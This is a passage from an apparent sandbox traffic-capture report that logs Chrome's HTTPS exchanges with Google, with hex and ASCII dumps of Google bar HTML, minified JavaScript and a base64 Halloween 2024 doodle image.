gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700299,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-31 16:26:14 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-31 16:26:14 UTC	284	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-10-31 16:26:14 UTC	560	IN	Data Raw: 32 32 39 0d 0a 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b Data Ascii: 229Ta(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){
2024-10-31 16:26:14 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 7a 65 2c 44 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 Data Ascii: 8000^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var ze,De,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49731	142.250.185.196	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 16:26:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 690498177 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 16:26:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 16:26:13 UTC	336	IN	Data Raw: 64 31 65 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 48 61 6c 6c 6f 77 65 65 6e 20 32 30 32 34 22 2c 22 63 74 61 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 62 41 41 41 41 44 49 43 41 4d 41 41 41 43 2b 6c 6b 51 41 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 77 63 43 78 30 41 41 41 41 49 41 51 4d 67 41 68 4d 34 44 44 42 5a 41 30 4e 68 44 6c 42 72 44 31 6c 30 45 57 42 50 46 55 4a 53 41 44 73 2f 44 6a 59 78 43 43 6f 58 41 67 30 45 41 41 45 4b 41 77 4f 64 57 61 77 44 41 51 4d 46 41 41 6b 6e Data Ascii: d1e)]}'{"ddljson":{"accessibility_description":"","alt_text":"Halloween 2024","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbAAAADICAMAAAC+lkQAAAADAFBMVEVHcEwcCx0AAAAIAQMgAhM4DDBZA0NhDlBrD1l0EWBPFUJSADs/DjYxCCoXAg0EAAEKAwOdWawDAQMFAAkn
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 55 6f 4e 44 30 73 4f 48 6e 4d 4e 47 6d 71 61 65 39 79 6a 66 50 6e 42 6b 66 37 4c 6d 66 2b 32 69 76 37 55 6f 50 39 61 4d 6e 38 51 41 78 55 31 46 6b 31 77 55 61 65 72 66 76 4b 76 67 2f 75 67 65 75 71 5a 63 4f 61 50 61 4f 4d 4c 45 56 55 4b 46 57 41 6b 48 58 45 36 4c 70 64 64 52 4b 56 72 55 72 64 35 58 73 4a 6b 53 36 35 58 50 61 41 32 4c 6f 49 6c 4b 6f 67 54 49 58 6f 65 4a 58 36 51 62 4e 53 64 64 72 39 65 51 35 67 53 4a 59 42 43 4e 49 4d 73 4a 6e 39 51 50 59 42 63 4f 6f 4f 62 5a 48 35 6f 52 58 2b 49 57 6e 36 75 63 33 78 34 54 6e 34 32 49 6e 4c 62 70 66 38 69 43 69 34 4e 41 52 49 73 44 7a 36 4c 62 4d 61 48 55 4d 64 55 50 5a 5a 31 56 4c 76 43 6a 72 54 2f 35 34 61 39 6f 58 41 4c 43 55 4a 50 4b 47 39 67 4e 59 62 66 6d 71 6e 5a 77 49 45 75 41 42 69 74 6a 73 70 74 Data Ascii: UoND0sOHnMNGmqae9yjfPnBkf7Lmf+2iv7UoP9aMn8QAxU1Fk1wUaerfvKvg/ugeuqZcOaPaOMLEVUKFWAkHXE6LpddRKVrUrd5XsJkS65XPaA2LoIlKogTIXoeJX6QbNSddr9eQ5gSJYBCNIMsJn9QPYBcOoObZH5oRX+IWn6uc3x4Tn42InLbpf8iCi4NARIsDz6LbMaHUMdUPZZ1VLvCjrT/54a9oXALCUJPKG9gNYbfmqnZwIEuABitjspt
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 64 42 55 69 4d 4d 63 59 2f 69 45 48 77 6b 4c 6f 43 45 41 32 79 68 4f 2b 47 42 4b 4f 4f 6b 50 53 51 59 66 69 77 75 75 51 7a 6f 61 79 36 4a 73 6a 4b 73 71 7a 6e 52 33 2f 37 54 42 4b 2b 50 37 43 76 72 71 74 4b 4e 6d 49 55 64 69 4d 59 61 77 41 47 67 69 67 2f 74 58 4b 38 71 44 49 2b 73 71 50 31 69 53 34 6f 71 71 37 37 59 6c 30 69 4c 4f 75 5a 46 4e 67 31 58 6d 2b 6e 77 75 37 31 43 43 45 52 51 51 30 67 77 44 52 50 73 4d 77 47 50 52 71 67 50 4d 77 42 68 54 75 61 68 55 77 45 69 6e 4d 43 32 56 6a 48 75 6d 6b 6c 4c 39 57 56 41 72 76 4b 35 79 32 47 45 2f 50 43 63 44 64 42 72 41 55 4a 43 64 5a 35 70 6e 56 62 55 65 75 4b 50 66 46 74 64 34 62 47 44 69 64 68 46 50 4a 43 2f 79 6a 47 76 50 74 67 58 33 32 77 78 62 79 2f 4a 51 6b 58 41 34 74 70 6d 78 39 7a 51 4e 77 44 43 35 Data Ascii: dBUiMMcY/iEHwkLoCEA2yhO+GBKOOkPSQYfiwuuQzoay6JsjKsqznR3/7TBK+P7CvrqtKNmIUdiMYawAGgig/tXK8qDI+sqP1iS4oqq77Yl0iLOuZFNg1Xm+nwu71CCERQQ0gwDRPsMwGPRqgPMwBhTuahUwEinMC2VjHumklL9WVArvK5y2GE/PCcDdBrAUJCdZ5pnVbUeuKPfFtd4bGDidhFPJC/yjGvPtgX32wxby/JQkXA4tpmx9zQNwDC5
2024-10-31 16:26:13 UTC	273	IN	Data Raw: 46 69 57 62 65 6d 32 71 71 75 36 6b 63 76 6e 73 72 6e 33 66 65 44 6c 61 77 4d 6d 69 66 55 48 76 4c 30 73 4b 46 36 58 78 56 2b 54 47 53 49 6a 31 48 7a 4b 34 70 38 50 33 6a 37 77 65 37 4b 65 52 2f 66 6c 35 51 43 78 2b 79 43 76 77 66 68 77 61 47 6f 75 54 46 51 6b 51 57 41 78 42 78 4e 50 46 31 68 70 6f 64 77 56 56 35 52 4b 64 65 6b 2f 69 57 67 30 43 62 61 45 68 52 50 43 36 37 47 78 68 41 41 47 52 47 4e 63 4f 43 61 77 2f 6a 77 77 59 4a 6f 45 4c 6e 46 49 59 62 64 4d 57 69 75 70 32 5a 6b 73 58 67 49 43 6a 79 59 76 51 4a 6b 6d 72 2b 6c 38 48 70 66 70 2f 50 4c 53 79 50 7a 53 77 75 72 53 73 73 51 6c 69 54 6d 6f 51 6b 31 38 32 4f 55 57 63 35 71 57 79 36 6d 71 70 75 71 36 43 6a 53 57 5a 71 2b 64 4b 4a 70 43 67 41 5a 65 67 4b 64 62 68 6d 55 5a 75 71 47 71 4f 56 57 72 Data Ascii: FiWbem2qqu6kcvnsrn3feDlawMmifUHvL0sKF6XxV+TGSIj1HzK4p8P3j7we7KeR/fl5QCx+yCvwfhwaGouTFQkQWAxBxNPF1hpodwVV5RKdek/iWg0CbaEhRPC67GxhAAGRGNcOCaw/jwwYJoELnFIYbdMWiup2ZksXgICjyYvQJkmr+l8Hpfp/PLSyPzSwurSssQliTmoQk182OUWc5qWy6mqpuq6CjSWZq+dKJpCgAZegKdbhmUZuqGqOVWr
2024-10-31 16:26:13 UTC	168	IN	Data Raw: 61 32 0d 0a 4d 34 36 30 67 71 43 6e 6a 72 7a 35 39 6e 34 76 76 58 6e 6b 44 54 78 6f 46 54 36 65 70 6e 70 36 77 49 74 39 65 54 75 77 34 4d 6e 51 63 44 34 63 46 58 68 49 43 70 63 32 67 61 55 56 47 49 67 44 6d 46 49 39 64 58 6f 6b 45 59 58 42 42 4c 49 45 4e 6d 4f 34 63 69 56 4a 6a 2b 5a 79 46 68 77 32 50 74 49 42 73 47 46 70 4c 77 45 4b 77 6f 74 38 4b 70 57 65 6d 30 76 4e 68 4b 59 41 71 31 30 53 56 35 36 48 55 47 35 36 64 6d 6c 6b 61 57 46 39 64 55 45 4e 68 59 68 46 4d 70 4c 65 45 72 44 45 42 63 0d 0a Data Ascii: a2M460gqCnjrz59n4vvXnkDTxoFT6epnp6wIt9eTuw4MnQcD4cFXhICpc2gaUVGIgDmFI9dXokEYXBBLIENmO4ciVJj+ZyFhw2PtIBsGFpLwEKwot8KpWem0vNhKYAq10SV56HUG56dmlkaWF9dUENhYhFMpLeErDEBc
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 35 34 39 36 0d 0a 42 77 42 79 31 64 30 77 31 4c 31 7a 58 4c 74 67 73 62 61 32 74 72 52 53 41 72 55 67 58 62 4e 6d 30 64 50 77 52 50 61 78 45 58 50 65 2f 7a 65 54 35 6f 4a 77 59 31 69 73 55 41 50 32 63 52 56 54 7a 36 58 2b 67 67 45 36 6a 39 43 58 2b 4c 39 73 4b 48 79 79 77 32 2b 72 79 65 67 4b 2b 37 71 78 2b 34 44 76 4b 71 77 47 44 7a 54 55 6a 75 4c 68 61 4c 38 55 56 4d 62 44 38 63 37 61 70 55 41 43 77 2b 57 68 30 39 4d 7a 49 66 68 71 76 43 69 49 45 4e 57 34 46 67 6d 43 46 53 4f 67 77 6e 42 56 77 64 41 4b 4e 61 37 54 55 35 66 58 62 75 58 47 70 6c 56 73 55 7a 31 31 62 5a 66 66 45 51 63 57 6f 36 42 30 78 35 4b 51 53 34 58 48 72 6b 77 2f 58 56 31 66 58 7a 47 6e 36 44 71 46 78 49 72 66 47 51 79 6d 68 35 50 61 2b 70 68 6d 31 6f 6c 67 56 50 72 61 31 74 72 74 56 Data Ascii: 5496BwBy1d0w1L1zXLtgsba2trRSArUgXbNm0dPwRPaxEXPe/zeT5oJwY1isUAP2cRVTz6X+ggE6j9CX+L9sKHyyw2+ryegK+7qx+4DvKqwGDzTUjuLhaL8UVMbD8c7apUACw+Wh09MzIfhqvCiIENW4FgmCFSOgwnBVwdAKNa7TU5fXbuXGplVsUz11bZffEQcWo6B0x5KQS4XHrkw/XV1fXzGn6DqFxIrfGQymh5Pa+phm1olgVPra1trtV
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 79 70 47 58 6f 48 42 72 4a 74 7a 64 41 52 43 77 45 4a 71 42 34 2b 66 43 69 41 49 5a 76 42 65 50 59 6a 32 37 53 4d 76 4b 61 58 77 51 76 45 78 4f 46 70 42 30 61 52 47 4a 6b 4e 42 6a 31 65 76 37 66 33 4c 66 67 4d 61 76 6b 47 4b 56 45 4a 58 49 36 33 45 41 72 37 53 4d 75 4c 76 67 76 75 36 68 62 49 71 58 61 44 51 5a 50 5a 59 54 55 57 75 52 75 2b 47 77 6d 44 47 73 35 39 76 43 34 2f 76 6e 31 4c 71 42 79 49 43 79 6e 56 36 74 46 6a 34 53 53 49 6b 56 6b 53 42 36 35 6a 73 46 68 59 67 70 50 41 65 49 78 4d 50 42 6c 2f 72 7a 4e 67 77 6c 4e 54 2b 58 51 36 4e 65 76 73 43 57 68 59 68 47 55 53 75 2b 4b 47 52 4e 4a 79 6f 32 47 2b 59 53 2b 48 6c 64 44 79 74 6a 61 7a 75 72 4d 4f 76 52 38 36 44 46 6b 47 77 45 48 4d 57 4e 51 4d 79 39 6a 59 4d 43 31 62 68 45 50 77 49 72 4b 48 7a Data Ascii: ypGXoHBrJtzdARCwEJqB4+fCiAIZvBePYj27SMvKaXwQvExOFpB0aRGJkNBj1ev7f3LfgMavkGKVEJXI63EAr7SMuLvgvu6hbIqXaDQZPZYTUWuRu+GwmDGs59vC4/vn1LqByICynV6tFj4SSIkVkSB65jsFhYgpPAeIxMPBl/rzNgwlNT+XQ6NevsCWhYhGUSu+KGRNJyo2G+YS+HldDytjazurMOvR86DFkGwEHMWNQMy9jYMC1bhEPwIrKHz
2024-10-31 16:26:13 UTC	1378	IN	Data Raw: 37 69 73 33 39 4f 31 6c 58 65 41 79 6a 72 74 61 6e 6c 6c 64 32 39 6e 5a 79 44 6e 41 47 73 71 77 63 31 5a 56 54 71 63 4d 57 78 66 44 58 69 43 72 6d 37 58 4e 47 69 49 69 67 4e 57 6f 34 6f 6d 4e 6d 6d 32 42 36 44 64 75 68 55 68 65 44 72 44 42 50 77 52 4d 35 43 54 38 72 76 38 44 2f 33 57 57 67 6a 69 70 59 4c 42 2f 73 45 75 6f 2f 34 2f 77 43 70 35 6b 37 76 36 32 4e 4c 39 62 56 51 61 32 48 49 66 74 44 6f 43 52 6a 53 52 47 6a 31 33 71 6b 71 6d 4c 75 44 6a 6c 75 4c 52 51 49 69 65 4a 4c 41 4a 47 37 4a 63 70 68 6b 69 6e 36 47 67 30 7a 6f 6c 6a 33 33 55 47 6a 50 35 61 52 6b 42 55 69 59 36 34 78 41 49 6b 79 69 57 6d 4c 4c 49 46 6b 2b 50 44 70 72 2b 32 68 55 6a 72 49 39 69 72 56 54 4f 72 6e 33 33 32 32 63 61 42 51 6c 48 4e 49 79 59 75 63 70 51 49 49 67 55 59 7a 41 49 Data Ascii: 7is39O1lXeAyjrtanlld29nZyDnAGsqwc1ZVTqcMWxfDXiCrm7XNGiIigNWo4omNmm2B6DduhUheDrDBPwRM5CT8rv8D/3WWgjipYLB/sEuo/4/wCp5k7v62NL9bVQa2HIftDoCRjSRGj13qkqmLuDjluLRQIieJLAJG7Jcphkin6Gg0zolj33UGjP5aRkBUiY64xAIkyiWmLLIFk+PDpr+2hUjrI9irVTOrn3322caBQlHNIyYucpQIIgUYzAI
